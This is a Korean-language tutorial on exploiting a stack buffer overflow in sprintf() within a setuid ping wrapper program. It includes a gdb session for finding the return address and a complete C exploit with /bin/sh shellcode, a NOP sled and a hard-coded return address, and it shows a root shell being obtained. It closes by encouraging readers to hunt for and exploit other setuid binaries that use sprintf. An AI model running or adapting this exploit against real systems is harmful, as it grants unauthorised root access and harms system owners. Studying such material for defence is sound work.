=================================================================================== Title : sprintf() 계열 함수에서 일어나는 Stack Overflow Author : 유동훈 (Xpl017Elz) E-mail : szoahc@hotmail.com Home: http://x82.i21c.net Date : f. 2001/3/02 s. 2001 /10/09 =================================================================================== 작자주: 이 문서는 Overflow attack을 공부하는 이들을 위해 제작되었습니다. 만약, 문서의 내용중 오류가 있다면 szoahc@hotmail.com으로 mail 주시면 감사하겠습니다. sprintf() 계열 함수에서 일어나는 Stack Overflow. #include int sprintf (char *buffer,const chat *format,args); buffer: 출력할 문자열을 가리키는 포인터. format: 출력할때의 서식 args: 인수들 sprintf() 함수는 출력함수가 아닌 변수의 내용을 변경하는 함수로써, printf() 함수와 사용법이 비슷하다. 변수초기화 및 선언은 다음과 같이 이루어진다. char values[100]; char exec[500]; 이를 초과함으로써 우리는 다시 이득을 볼수있게 된다. 다시 말해, sprintf 함수의 사용시 입력 받아야 할값을 넘어섬으로써 프로그램의 중요 영역까지 모조리 덮어씌울수 있는것이다. 보통 sprintf() 함수를 이용해서 간단한 프로그램을 제작할때 아래 Source와 같이 사용한다. 필자도 sprintf() 함수를 이용해서 프로그래밍할때가 많이 있다. 다음의 Source를 잘 살펴보자. #include main(int argc,char *argv[]) { char exec[500]; if (argc < 2) { printf("\nUse: %s IP address",argv[0]); printf("\n ex> %s 127.0.0.1\n\n",argv[0]); exit(0); } sprintf(exec,"ping -c 5 \"%s\"",argv[1]); system(exec); } 프로그램을 Compile하여 실행하면 다음과 같이 출력해준다. [x82@xpl017elz tmp]$ gcc -o sprintf sprintf.c && ./sprintf Use: ./sprintf IP address ex> ./sprintf 127.0.0.1 [x82@xpl017elz tmp]$ 간단히 말하자면, IP를 입력받아 ping을 5번 보내주는 프로그램이다. [x82@xpl017elz tmp]$ ls -la /bin/ping -rwsr-xr-x 1 root root 18228 Feb 11 2000 /bin/ping* [x82@xpl017elz tmp]$ ping -c 5 127.0.0.1 PING 127.0.0.1 (127.0.0.1) from 127.0.0.1 : 56(84) bytes of data. 64 bytes from 127.0.0.1: icmp_seq=0 ttl=255 time=0.3 ms 64 bytes from 127.0.0.1: icmp_seq=1 ttl=255 time=0.2 ms ... --- 127.0.0.1 ping statistics --- 5 packets transmitted, 5 packets received, 0% packet loss round-trip min/avg/max = 0.2/0.2/0.3 ms [x82@xpl017elz tmp]$ exit exit [root@xpl017elz tmp]# chmod 755 /bin/ping [root@xpl017elz tmp]# su x82 [x82@xpl017elz tmp]$ ping -c 5 127.0.0.1 ping: socket: 명령이 허용되지 않음 [x82@xpl017elz tmp]$ exit exit [root@xpl017elz tmp]# chmod 4755 sprintf [root@xpl017elz tmp]# su x82 [x82@xpl017elz tmp]$ ./sprintf 127.0.0.1 PING 127.0.0.1 (127.0.0.1) from 127.0.0.1 : 56(84) bytes of data. 64 bytes from 127.0.0.1: icmp_seq=0 ttl=255 time=0.3 ms 64 bytes from 127.0.0.1: icmp_seq=1 ttl=255 time=0.1 ms ... --- 127.0.0.1 ping statistics --- 5 packets transmitted, 5 packets received, 0% packet loss round-trip min/avg/max = 0.1/0.2/0.3 ms [x82@xpl017elz tmp]$ ls -la sprintf -rwsr-xr-x 1 root root 12103 Oct 10 19:21 sprintf* [x82@xpl017elz tmp]$ 보통 /bin/ping 프로그램은 기본적으로 setuid가 설정되어 있다. 그 이유는 일반유저가 socket을 사용할수 없기 때문인데, 보안상 취약점이 여러번 발견되었던 ping 프로그램은 대부분은 Server내에서 setuid를 제거해둔다. 위 프로그램에 setuid를 설정해둔다면, 보안상 걱정없이(?) 일반유저도 위 프로그램을 이용하여 ping test를 할수있을것이다. test를 하기위해 Server 내부에서 설치해둔 결과, 일반유저들이 불편없이 사용할수 있었다. 하지만, 위 프로그램이 상당히 위험한 취약점을 지니고 있다는것을 우리는 알고있다. 그 이유는 sprintf() 함수를 사용하고 있기 때문, 이를 이용해서 이득을 얻어보도록 하자~ :-p 다음은 간단한 test이다. [x82@xpl017elz tmp]$ ./sprintf `perl -e "print 'x'x500"` ping: unknown host xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx Segmentation fault [x82@xpl017elz tmp]$ 역시, 프로그램의 Source상 sprintf() 함수는 500자 이내의 문자열만 입력받을수 있도록 되어있다. (char exec[500];) 이제 exploit을 시켜도록 하자. 보통 perl을 이용하여 shellcode의 address를 때려넣지만, 우리는 c를 이용해 따로 exploit을 제작해보도록 하겠다. [x82@xpl017elz tmp]$ cp sprintf x0x [x82@xpl017elz tmp]$ gdb x0x ... (gdb) break main Breakpoint 1 at 0x8048479 (gdb) r Starting program: /var/tmp/x0x Breakpoint 1, 0x8048479 in main () (gdb) x/40 $ebp 0xbffffa18: 0xbffffa38 0x400311fb 0x00000001 0xbffffa64 0xbffffa28: 0xbffffa6c 0x40012024 0x00000001 0x080483c0 0xbffffa38: 0x00000000 0x080483e1 0x08048470 0x00000001 0xbffffa48: 0xbffffa64 0x08048308 0x0804850c 0x4000a600 0xbffffa58: 0xbffffa5c 0x40012670 0x00000001 0xbffffb5b 0xbffffa68: 0x00000000 0xbffffb68 0xbffffb82 0xbffffca1 0xbffffa78: 0xbffffcaf 0xbffffcbd 0xbffffcd4 0xbffffce0 0xbffffa88: 0xbffffcf2 0xbffffd0c 0xbffffd17 0xbffffd25 0xbffffa98: 0xbffffd83 0xbffffd8f 0xbffffd9e 0xbffffdb3 0xbffffaa8: 0xbffffdc3 0xbffffdcc 0xbffffddb 0xbffffdee (gdb) 정상적인 Stack의 내용이다. 위를 보면 알수있듯이 $ebp address의 4byte다음 address인, return address가 보인다. (0x400311fb) 값이 저장되있는 address는 0xbffffa1c이다. 저 부분을 바로 shellcode의 address로만 변경하면, Game은 쉽게 끝나게 된다. :-) 다시한번, 확인 test를 거친다. (gdb) disass main Dump of assembler code for function main: 0x8048470
: push %ebp 0x8048471 : mov %esp,%ebp 0x8048473 : sub $0x1f4,%esp 0x8048479 : cmpl $0x1,0x8(%ebp) 0x804847d : jg 0x80484b0 0x804847f : mov 0xc(%ebp),%eax 0x8048482 : mov (%eax),%edx 0x8048484 : push %edx 0x8048485 : push $0x8048530 0x804848a : call 0x8048388 0x804848f : add $0x8,%esp 0x8048492 : mov 0xc(%ebp),%eax 0x8048495 : mov (%eax),%edx 0x8048497 : push %edx 0x8048498 : push $0x8048544 0x804849d : call 0x8048388 0x80484a2 : add $0x8,%esp 0x80484a5 : push $0x0 0x80484a7 : call 0x8048398 0x80484ac : add $0x4,%esp 0x80484af : nop 0x80484b0 : mov 0xc(%ebp),%eax ---Type to continue, or q to quit--- 0x80484b3 : add $0x4,%eax 0x80484b6 : mov (%eax),%edx 0x80484b8 : push %edx 0x80484b9 : push $0x8048559 0x80484be : lea 0xfffffe0c(%ebp),%eax 0x80484c4 : push %eax 0x80484c5 : call 0x80483a8 0x80484ca : add $0xc,%esp 0x80484cd : lea 0xfffffe0c(%ebp),%eax 0x80484d3 : push %eax 0x80484d4 : call 0x8048358 0x80484d9 : add $0x4,%esp 0x80484dc : leave 0x80484dd : ret 0x80484de : nop 0x80484df : nop End of assembler dump. (gdb) break *0x80484dd Breakpoint 1 at 0x80484dd (gdb) r `perl -e "print 'x'x492"` Starting program: /var/tmp/x0x `perl -e "print 'x'x492"` ping: socket: 명령이 허용되지 않음 Breakpoint 1, 0x80484dd in main () (gdb) info reg eax 0x100 256 ecx 0xbffff374 -1073745036 edx 0x0 0 ebx 0x40107bec 1074822124 esp 0xbffff81c -1073743844 ebp 0x22787878 578320504 esi 0x4000a600 1073784320 edi 0xbffff864 -1073743772 eip 0x80484dd 134513885 eflags 0x286 646 cs 0x23 35 ss 0x2b 43 ds 0x2b 43 es 0x2b 43 fs 0x0 0 gs 0x0 0 cwd 0xffff037f -64641 swd 0xffff0000 -65536 twd 0xffffffff -1 fip 0x4004c4e4 1074054372 fcs 0x77d0023 125632547 fopo 0xbffff938 -1073743560 fos 0xffff002b -65493 (gdb) c Continuing. Program received signal SIGSEGV, Segmentation fault. 0x4003110e in __libc_start_main (main=Cannot access memory at address 0x22787880 ) at ../sysdeps/generic/libc-start.c:41 41 ../sysdeps/generic/libc-start.c: 그런 파일이나 디렉토리가 없음. (gdb) c Continuing. Program terminated with signal SIGSEGV, Segmentation fault. The program no longer exists. (gdb) 위를 보면 알수있듯이 "ping -c 5 "의 10byte을 제외하면 buffer에 정상적으로 들어갈수 있는공간은 491byte가 된다. 그러므로, 492개의 문자열을 입력하면, Return address가 0x40031100으로 변경되어 비정상종료를 일으키게 되는것이다. (gdb) x/10 $ebp 0x22787878: Cannot access memory at address 0x22787878 Overwrite된 ebp의 값은 0x22787878이다. Overwrite되는 문자열은 xxxx...xxxx 492개를 제외하고 [Ctrl-V SYN](0x22), [NULL](0x00) 값이 차례대로 넣어진다. 4byte(0x00000022) 가 이 값으로 덮이기 때문에 문자열 492개부터 Segmentation fault 현상이 일어나는것이다. 그럼, 이제부터 본격적인 exploit 작업에 들어가보도록 하자. ebp 전값까지 Overwrite를 시킨후 address를 조사해보니 ebp address값이 0xbffff818로 변경된것을 알수있었다. 이제 남은 문제는 shellcode가 입력될 부분의 address를 맞추는 일이다. 이는 매우 간단한 일이다. ebp값이 0xbffff818 란것을 알았으니 약 450byte(1c2) 정도 거슬러올라간 부분의 address를 추적하면, shellcode가 띄워져있는 위치를 쉽게 짐작할수 있다. 단, NOPcode(0x90)를 많이 삽입해야 할것이다. (0xbffff818 - 0xbffff1c2 = 0xbffff656) shellcode가 띄워질 address가 0xbffff656 이란걸 알았음. Overwrite할 exploit의 내용은 다음과 같다. NOP = 250byte shellcode = 24byte etcvalues = 219byte 총: 493byte Overwrite [x82@xpl017elz tmp]$ cat expl.c #include char shellcode[] = "\x31\xd2\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x52" "\x53\x89\xe1\x8d\x42\x0b\xcd\x80"; main() { int a_xox, b_xox, c_xox; char x_xox[1500]; bzero (&x_xox, 1500); for (a_xox = 0;a_xox <= (274-sizeof(shellcode));a_xox++) { x_xox[a_xox] = 0x90; /* NOP */ } for (b_xox = 0, a_xox = a_xox;b_xox < (sizeof(shellcode)-1);a_xox++,b_xox++) { x_xox[a_xox] = shellcode[b_xox]; /* shellcode */ } for (c_xox = 0;c_xox <= 218;c_xox++) { x_xox[a_xox++] = 0x20; /* etcvalues */ } // Return Address // x_xox[a_xox++] = 0x56; /* 위에서 계산하여 예상한 값 */ x_xox[a_xox++] = 0xf6; x_xox[a_xox++] = 0xff; x_xox[a_xox++] = 0xbf; execl("./sprintf","sprintf",x_xox,NULL); perror("\n"); exit(0); } [x82@xpl017elz tmp]$ gcc -o expl expl.c [x82@xpl017elz tmp]$ ./expl ping: unknown host 릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱 릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱 릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱륛? V熾 bash# Oops~! :-) 성공이다. 깨끗하게 한번에 shell을 띄웠다. 어떠한 값들이 씌여졌는지 살펴보면 다음과 같다. 0xbffff624 70 69 6e 67 20 2d 63 20 35 20 22 // (ping -c 5 ") 90 90 90 90 90 ping -c 5 "..... 0xbffff634 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................ 0xbffff644 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................ 0xbffff654 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................ ~~ 0xbffff656 (Return address가 가리킨 부분) 0xbffff664 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................ 0xbffff674 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................ 0xbffff684 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................ 0xbffff694 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................ 0xbffff6a4 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................ 0xbffff6b4 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................ 0xbffff6c4 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................ 0xbffff6d4 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................ 0xbffff6e4 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................ 0xbffff6f4 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................ 0xbffff704 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................ 0xbffff714 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................ 0xbffff724 90 90 90 90 90 // NOP 끝부분 31 d2 52 68 6e 2f 73 68 68 2f 2f .....1.Rhn/shh// 0xbffff734 62 69 89 e3 52 53 89 e1 8d 42 0b cd 80 // shellcode 끝부분 20 20 20 bi..RS...B... 0xbffff744 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 0xbffff754 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 0xbffff764 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 0xbffff774 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 0xbffff784 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 0xbffff794 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 0xbffff7a4 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 0xbffff7b4 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 0xbffff7c4 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 0xbffff7d4 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 0xbffff7e4 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 0xbffff7f4 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 0xbffff804 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 0xbffff814 20 20 20 20 20 20 20 20 // etcvalues 끝부분 56 f6 ff bf // shellcode의 주소 (원래 Return address) 22 00 00 00 v..."... // 0x00000022 부분 0xbffff824 04 f8 ff bf 10 f8 ff bf 24 20 01 40 02 00 00 00 ........$ .@.... 0xbffff834 f0 83 04 08 00 00 00 00 11 84 04 08 84 86 04 08 ................ 0xbffff844 02 00 00 00 04 f8 ff bf 2c 83 04 08 3c 87 04 08 ........,...<... 0xbffff854 00 a6 00 40 fc f7 ff bf 70 26 01 40 02 00 00 00 ...@....p&.@.... 0xbffff864 19 f9 ff bf 1c f9 ff bf 00 00 00 00 0e fb ff bf ................ 0xbffff874 28 fb ff bf 47 fc ff bf (...G... 이로써 shellcode가 어떤원리로 띄워졌는지 잘 살펴보았다. 전번 scanf() 함수를 공략할때와는 달리 code 입력부분에서 공백문자열을 제외하지 않기 때문에, 위와같은 exploit이 가능하였다. 여러분도 sprintf() 함수를 사용하는 프로그램을 찾아내어 exploit에 성공해보길 바란다. bash# strings /bin/* | grep sprintf | more sprintf sprintf sprintf vsprintf sprintf vsprintf sprintf sprintf sprintf ... sprintf sprintf sprintf sprintf vsprintf sprintf sprintf vsprintf sprintf sprintf bash# 꼭, setuid가 걸린 프로그램이 아니더라도 exploit 작업을 거쳐 shell을 띄우는것이 가능하므로, 어떤 환경에서든지 공격은 가능하다. :-p 단, 멍청하게 짜여진 프로그램을 찾기란 하늘의 별따기다 :-(